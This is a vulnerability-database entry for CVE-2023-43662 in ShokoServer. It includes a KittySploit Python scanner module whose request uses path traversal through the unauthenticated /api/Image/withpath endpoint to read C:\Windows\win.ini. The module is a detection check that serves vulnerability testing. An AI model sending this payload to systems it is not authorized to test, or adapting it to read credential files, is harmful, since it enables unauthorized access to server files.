Lucene search
+L

ShokoServer System - Local File Inclusion (LFI) Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Unauthenticated arbitrary file read in ShokoServer via the /api/Image/WithPath endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2023-43662
29 Sep 202302:37
–circl
cnnvd
CNNVD
ShokoServer Path Traversal Vulnerability
28 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-43662
28 Sep 202321:54
–cve
cvelist
Cvelist
CVE-2023-43662 Arbitrary file read vulnerability in Shoko Server
28 Sep 202321:54
–cvelist
mend
Mend
CVE-2023-43662
28 Sep 202321:54
–mend
nuclei
Nuclei
ShokoServer System - Local File Inclusion (LFI)
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2023-43662
28 Sep 202322:15
–nvd
openvas
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check
22 Jul 202100:00
–openvas
prion
Prion
Authentication flaw
28 Sep 202322:15
–prion
ptsecurity
Positive Technologies
PT-2023-28907 · Unknown · Shokoserver
28 Sep 202300:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ShokoServer is a media server which specializes in organizing anime."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'ShokoServer System - Local File Inclusion (LFI) Detection',
        'description': 'ShokoServer is a media server which specializes in organizing anime. In affected versions the `/api/Image/WithPath` endpoint is accessible without authentication and is supposed to return default server images. The endpoint accepts the parameter `serverImagePath`, which is not sanitized in any way before being passed to `System.IO.File.OpenRead`, which results in an arbitrary file read.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'shoko', 'web-aui', 'lfi', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md',
            'https://github.com/ShokoAnime/ShokoServer/commit/6c57ba0f073d6be5a4f508c46c2ce36727cbce80',
        ],
        'cve': 'CVE-2023-43662',
    }

    def run(self):
        path = '/api/Image/withpath/C:\\Windows\\win.ini'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
        body_all = ('bit app support', 'fonts', 'extensions',)
        ctype_any = ('text/plain',)
        if (all(m in body for m in body_all)) and (any(m in content_type for m in ctype_any)):
            self.set_info(
                severity='high',
                reason='ShokoServer System - Local File Inclusion (LFI) detected',
                path=path,
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.2High risk
Vulners AI Score8.2
CVSS 3.18.6
EPSS0.09111
SSVC
4